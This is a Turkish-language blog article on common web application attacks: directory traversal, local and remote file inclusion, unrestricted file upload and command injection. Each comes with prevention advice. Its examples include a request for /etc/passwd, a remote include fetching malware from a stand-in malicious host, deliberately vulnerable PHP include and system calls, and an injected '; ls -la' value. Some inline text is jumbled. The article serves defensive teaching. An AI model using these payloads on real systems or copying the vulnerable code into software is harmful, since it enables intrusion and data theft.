Web Uygulama Saldırıları

 Yaygın Web Uygulama Saldırıları

Web uygulamaları, erişilebilirlikleri ve sıklıkla işledikleri hassas veriler nedeniyle saldırganların giderek daha fazla hedefi haline geliyor. 

Dizin Gezintisi

Genel bakış

Dizin geçişi, yol geçişi olarak da bilinir, bir saldırganın bir web uygulamasının amaçlanan dizin yapısı dışında depolanan dosyalara ve dizinlere erişmesine olanak tanıyan bir güvenlik açığıdır. Giriş parametrelerini değiştirerek, bir saldırgan hassas dosyalara erişmek için dosya sisteminde gezinebilir.

Nasıl Çalışır

Saldırı genellikle   dizin ağacında yukarı doğru hareket etmek gibi dizileri kullanmayı içerir. Örneğin, bir web uygulamasının görüntülenecek bir dosyayı belirten bir URL parametresi varsa, örneğin:../
metin
GET /view?file=report.txt
Bir saldırgan isteği şu şekilde değiştirebilir:
metin
GET /view?file=../../etc/passwd
Bu istek, Unix tabanlı sistemlerdeki bir dosyaya erişmeye çalışır ve kullanıcı hesaplarına ilişkin hassas bilgileri ifşa etme potansiyeline sahiptir.

Önleme Stratejileri

  • Giriş Doğrulaması : Kullanıcı girdilerinin sıkı doğrulamasını uygulayın. Yalnızca önceden tanımlanmış dosya adlarına izin veren bir beyaz liste yaklaşımı kullanın.
  • Kanonik Yol Doğrulaması : Kullanıcı tarafından sağlanan dosya adlarının mutlak yolunu çözün ve bunların beklenen temel dizinle başladığından emin olun.
  • Erişim Kontrol Listeleri (ACL'ler) : Erişimi sınırlamak için kullanıcı rollerine göre dosya ve dizinlere katı izinler ayarlayın.

Dosya Dahil Etme Güvenlik Açıkları

Genel bakış

Dosya dahil etme güvenlik açıkları, bir uygulama kullanıcıların uygun doğrulama veya kısıtlamalar olmadan sunucunun dosya sisteminden dosya eklemesine izin verdiğinde ortaya çıkar. Bu, bir saldırganın yerel sunucudan dosya eklemesi anlamına gelen Yerel Dosya Dahil Etme (LFI) veya bir saldırganın harici sunuculardan dosya eklemesi anlamına gelen Uzak Dosya Dahil Etme (RFI) ile sonuçlanabilir.

Nasıl Çalışır

Kullanıcı tarafından belirtilen dosyaları içeren bir PHP uygulamasını düşünün:
php
include($_GET['file']);
Bir saldırgan şuna benzer bir URL sağlarsa:
metin
GET /page.php?file=../../config.php
Bu, veritabanı kimlik bilgilerini içeren hassas yapılandırma dosyalarını eklemelerine olanak tanıyabilir. RFI senaryolarında, uzaktan dosya ekleme etkinleştirilirse, bir saldırgan şunları kullanabilir:
metin
GET /page.php?file=http://malicious.com/malware.php
Bu, harici bir sunucuda barındırılan kötü amaçlı kodun çalıştırılmasına neden olur.

Önleme Stratejileri

  • Beyaz Liste Dosya Adları : Dahil edilmek üzere izin verilen dosyaların bir listesini tutun ve kullanıcı girdisini bu listeye göre doğrulayın.
  • Include İfadelerinde Kullanıcı Girişinden Kaçının : Kullanıcı tarafından sağlanan girişi doğrudan dahil etmek yerine, önceden tanımlanmış şablonları veya statik dosyaları kullanmayı düşünün.
  • Hata İşleme : Kullanıcılara ayrıntılı hata mesajlarının gösterilmesini önlemek için sağlam hata işleme uygulayın.

Dosya Yükleme Güvenlik Açıkları

Genel bakış

Dosya yükleme güvenlik açıkları, bir uygulama kullanıcıların içerik veya türlerini yeterli şekilde doğrulamadan dosya yüklemesine izin verdiğinde ortaya çıkar. Bu, sunucuda kötü amaçlı dosyaların yürütülmesine ve veri ihlallerine veya sunucunun tehlikeye atılmasına yol açabilir.

Nasıl Çalışır

Bir web uygulaması sıkı denetimler olmadan dosya yüklemelerini kabul ettiğinde, bir saldırgan zararsız bir dosya türü (örneğin, bir resim) olarak gizlenmiş bir betiği yükleyebilir. Örneğin:
xml
<form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="userfile"> <input type="submit" value="Upload"> </form>
Yüklenen dosya türü düzgün bir şekilde doğrulanmazsa, bir saldırgan . adlı bir PHP kabuk betiği yükleyebilir  .upload.phpshell.php

Önleme Stratejileri

  • Dosya Türü Doğrulaması : Kabul edilebilir türlerin (örneğin,  ,  ) bulunduğu bir beyaz listeye göre hem dosya uzantılarını hem de MIME türlerini kontrol edin..jpg.png
  • İçerik Taraması : Yüklenen dosyaları işlemeden önce kötü amaçlı yazılımlara karşı taramak için antivirüs yazılımları veya kütüphaneleri kullanın.
  • Yürütme İzinlerini Kısıtla : Yüklenen dosyaları yürütme izinleri olmayan dizinlerde (örneğin, web kökü dışında) saklayın ve öngörülebilir URL'ler üzerinden doğrudan erişimi önlemek için bunları benzersiz tanımlayıcılarla yeniden adlandırın.

Komut Enjeksiyonu

Genel bakış

Komut enjeksiyonu güvenlik açıkları, saldırganların komut yürütme işlevlerine kötü amaçlı girdi enjekte etmelerine olanak tanır ve bu da sunucuda keyfi komutlar yürütmelerini sağlar. Bu, yetkisiz erişime, veri kaybına veya sistemin tamamen tehlikeye atılmasına yol açabilir.

Nasıl Çalışır

Bir web uygulamasının uygun bir temizleme işlemi yapmadan sistem komutlarında kullanıcı girdisini kullandığı bir senaryoyu ele alalım:
php
$host = $_GET['host']; system("ping " . $host);
Bir saldırgan, şu tür girdiler sağlayarak bunu istismar edebilir:
metin
127.0.0.1; ls -la
Bu hem ping komutunu çalıştırır hem de kabuk komutunun yorumlanması nedeniyle dizin içeriklerini listeler.

Önleme Stratejileri

  • Giriş Temizleme : Kullanıcı girdilerini sistem komutlarında kullanmadan önce her zaman temizleyin ve doğrulayın.
  • Güvenli API'leri kullanın : Mümkün olduğunca doğrudan komut yürütmeyi soyutlayan yüksek seviyeli API'leri tercih edin.
  • En Az Ayrıcalık İlkesi : Uygulamaları işlevleri için gereken en az izinlerle çalıştırın. Sistemle etkileşimde bulunan kullanıcılar ve işlemler için erişim haklarını sınırlayın.

Çözüm

Bu yaygın web uygulaması saldırılarını anlamak, güvenli uygulamalar geliştirmek için olmazsa olmazdır. Sağlam doğrulama tekniklerini uygulayarak, sıkı erişim kontrollerini uygulayarak ve yukarıda belirtilen en iyi uygulamaları takip ederek, kuruluşlar bu riskleri önemli ölçüde azaltabilir ve sistemlerini olası tehditlerden koruyabilir. Düzenli güvenlik değerlendirmeleri ve güncellemeleri de gelişen saldırı vektörlerine karşı güçlü bir güvenlik duruşunu sürdürmek için önemlidir.

Yorum Gönder

Daha yeni Daha eski

İletişim Formu